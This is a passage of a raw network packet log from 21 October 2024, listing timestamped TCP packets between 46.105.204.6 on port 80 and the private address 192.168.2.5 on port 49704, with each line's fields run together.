                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253285885 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253298998 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253312111 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253359079 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253359079 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253408909 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253421068 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253432035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253453016 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253464937 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253467083 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253477097 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253489971 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253504038 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253511906 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253511906 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253514051 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.253539085 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.294696093 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.294732094 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.294755936 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.295062065 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308665991 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308722019 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308757067 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308789968 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308825016 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308844090 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308844090 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308897972 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308950901 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308957100 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.308984041 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309017897 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309050083 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309058905 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309083939 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309101105 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309117079 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309174061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309179068 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309207916 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309242964 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309271097 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309276104 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309328079 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309340954 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309386969 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309452057 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309457064 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309489965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309525013 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309545040 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309575081 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309628963 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309664965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309699059 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309732914 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309761047 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309766054 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309834003 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309881926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309933901 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.309968948 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310002089 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310035944 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310051918 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310051918 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310178041 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310210943 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310245037 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310247898 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310276031 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.310358047 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342643023 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342688084 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342739105 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342772961 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342807055 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342839003 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342871904 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342905045 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342938900 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342941999 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342941999 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342941999 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342941999 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.342972994 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343008041 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343058109 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343058109 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343065023 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343118906 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343147039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343180895 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343198061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343231916 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343267918 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343272924 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343318939 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343381882 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343422890 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343456984 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343509912 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343543053 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343556881 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343556881 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343575001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343611002 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343643904 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343646049 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343677998 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343704939 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343712091 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343746901 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.343760014 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.368976116 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369044065 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369093895 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369127035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369160891 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369184017 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369184017 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369194984 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369220018 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369230986 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369290113 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369297981 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369328022 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369379044 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369400024 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369429111 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369462013 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369502068 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369503975 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369537115 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369580984 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369646072 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369699001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369731903 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369734049 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369767904 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369795084 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369803905 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369837999 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369873047 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369874954 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369904995 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.369944096 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370053053 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370106936 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370111942 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370160103 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370215893 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370244980 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370249033 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370281935 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370296955 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370312929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370348930 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370377064 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370377064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370479107 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370588064 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370621920 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370672941 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370690107 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370706081 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370740891 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370757103 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370774031 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370810032 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370826006 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370840073 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.370913982 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.371022940 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.371057987 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.371092081 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.371124029 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.371131897 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.371176004 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.411990881 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.412031889 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.412067890 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.412255049 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.425757885 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.425868988 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.425901890 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.425930977 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.425952911 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.425986052 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426013947 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426018000 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426054001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426088095 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426093102 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426126003 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426126957 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426266909 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426465988 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426523924 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426557064 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426597118 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426609993 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426662922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426695108 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426697969 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426748037 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426776886 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426779985 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426812887 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426841021 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426846981 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426882029 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426915884 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426966906 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426966906 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.426966906 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427018881 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427067995 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427095890 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427122116 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427154064 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427187920 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427191973 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427221060 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427254915 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427261114 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427287102 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427314043 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427320957 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427356005 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427402020 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427407980 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427509069 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427599907 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427634954 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427686930 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427692890 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427720070 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427757025 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.427783012 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459584951 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459631920 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459691048 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459743977 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459794998 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459800005 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459832907 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459867001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459882021 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459899902 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459944963 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.459952116 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460000992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460045099 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460051060 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460083961 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460115910 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460127115 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460153103 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460189104 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:09.460199118 CEST4970480192.168.2.546.105.204.6
